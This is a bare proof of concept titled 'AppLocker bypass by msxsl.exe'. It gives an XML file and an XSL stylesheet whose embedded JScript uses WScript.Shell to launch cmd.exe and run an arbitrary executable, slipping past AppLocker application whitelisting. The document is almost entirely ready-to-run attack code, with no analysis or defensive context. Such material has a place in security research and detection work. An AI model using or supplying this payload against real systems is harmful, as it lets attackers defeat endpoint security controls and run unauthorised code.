AppLocker bypass by msxsl.exe

customers.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

script.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
 
<msxsl:script language="JScript" implements-prefix="user">
   function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k C:\\PSShell.exe");
   return nodelist.nextNode().xml;
 
   }
</msxsl:script>
<xsl:template match="/">
   <xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>